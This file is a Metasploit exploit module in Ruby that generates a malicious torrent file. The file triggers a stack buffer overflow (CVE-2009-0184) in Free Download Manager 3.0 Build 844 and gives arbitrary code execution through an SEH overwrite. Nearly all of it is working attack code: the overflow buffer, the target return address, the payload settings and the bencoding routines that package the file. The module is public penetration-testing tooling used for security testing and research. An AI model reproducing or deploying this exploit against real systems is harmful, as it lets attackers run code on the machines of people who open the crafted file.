145 lines
3.2 KiB
Ruby
145 lines
3.2 KiB
Ruby
##
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
# web site for more information on licensing and terms of use.
|
|
# http://metasploit.com/
|
|
##
|
|
|
|
require 'msf/core'
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
Rank = GoodRanking
|
|
|
|
include Msf::Exploit::FILEFORMAT
|
|
include Msf::Exploit::Remote::Seh
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'Free Download Manager Torrent Parsing Buffer Overflow',
|
|
'Description' => %q{
|
|
This module exploits a stack buffer overflow in Free Download Manager
|
|
3.0 Build 844. Arbitrary code execution could occur when parsing a
|
|
specially crafted torrent file.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' =>
|
|
[
|
|
'SkD <skdrat[at]hotmail.com>',
|
|
'jduck',
|
|
],
|
|
'References' =>
|
|
[
|
|
[ 'CVE', '2009-0184' ],
|
|
[ 'OSVDB', '54033' ],
|
|
[ 'BID', '33555' ],
|
|
[ 'URL', 'http://freedownload.svn.sourceforge.net/viewvc/freedownload/FDM/vmsBtDownloadManager.cpp?r1=11&r2=18' ],
|
|
[ 'URL', 'http://freedownload.svn.sourceforge.net/viewvc/freedownload/FDM/Bittorrent/fdmbtsupp/vmsBtFileImpl.cpp?r1=9&r2=18' ],
|
|
[ 'URL', 'http://secunia.com/secunia_research/2009-5/' ],
|
|
[ 'URL', 'http://downloads.securityfocus.com/vulnerabilities/exploits/33555-SkD.pl' ],
|
|
],
|
|
'DefaultOptions' =>
|
|
{
|
|
'EXITFUNC' => 'seh',
|
|
'DisablePayloadHandler' => 'true',
|
|
},
|
|
'Payload' =>
|
|
{
|
|
'Space' => 1024,
|
|
'DisableNops' => 'True',
|
|
'BadChars' => "\x00\x2c\x5c",
|
|
'StackAdjustment' => -3500,
|
|
},
|
|
'Platform' => 'win',
|
|
'Targets' =>
|
|
[
|
|
[ 'Free Download Manager 3.0 (Build 844)',
|
|
{
|
|
'Ret' => 0x76051372 # pop/pop/ret @ msvcp60.dll
|
|
}
|
|
],
|
|
],
|
|
'Privileged' => false,
|
|
'DisclosureDate' => 'Feb 2 2009',
|
|
'DefaultTarget' => 0))
|
|
|
|
register_options(
|
|
[
|
|
OptString.new('FILENAME', [ true, 'The file name.', 'msf.torrent']),
|
|
], self.class)
|
|
end
|
|
|
|
def exploit
|
|
|
|
bof = rand_text_alphanumeric(10004) + generate_seh_payload(target.ret)
|
|
# hit the end of the stack...
|
|
bof << rand_text(1000) * 50
|
|
|
|
len = rand(10*1024*1024)
|
|
info_hash = {
|
|
'length' => len,
|
|
'name' => bof,
|
|
'piece length' => len + rand(262144 - len),
|
|
'pieces' => rand_text(20),
|
|
}
|
|
|
|
ann_hash = {
|
|
'info' => info_hash,
|
|
}
|
|
|
|
encoded = bencode_hash(ann_hash)
|
|
|
|
print_status("Creating '#{datastore['FILENAME']}' file ...")
|
|
|
|
file_create(encoded)
|
|
|
|
end
|
|
|
|
# bencoding functions:
|
|
#
|
|
# http://wiki.theory.org/BitTorrentSpecification
|
|
#
|
|
def bencode_string(str)
|
|
ret = "%d:" % str.length
|
|
ret << str
|
|
return ret
|
|
end
|
|
|
|
def bencode_int(int)
|
|
ret = "i%de" % int
|
|
return ret
|
|
end
|
|
|
|
def bencode_item(item)
|
|
case item
|
|
when Fixnum
|
|
return bencode_int(item)
|
|
when String
|
|
return bencode_string(item)
|
|
when Hash
|
|
return bencode_hash(item)
|
|
else
|
|
throw("unsupported bencode data type! " + item.testzt)
|
|
end
|
|
end
|
|
|
|
def bencode_list(list)
|
|
ret = "l"
|
|
list.each do |el|
|
|
ret << bencode_item(el)
|
|
end
|
|
ret << "e"
|
|
return ret
|
|
end
|
|
|
|
def bencode_hash(hash)
|
|
ret = "d"
|
|
hash.keys.sort.each do |k|
|
|
ret << bencode_item(k)
|
|
ret << bencode_item(hash[k])
|
|
end
|
|
ret << "e"
|
|
return ret
|
|
end
|
|
|
|
end
|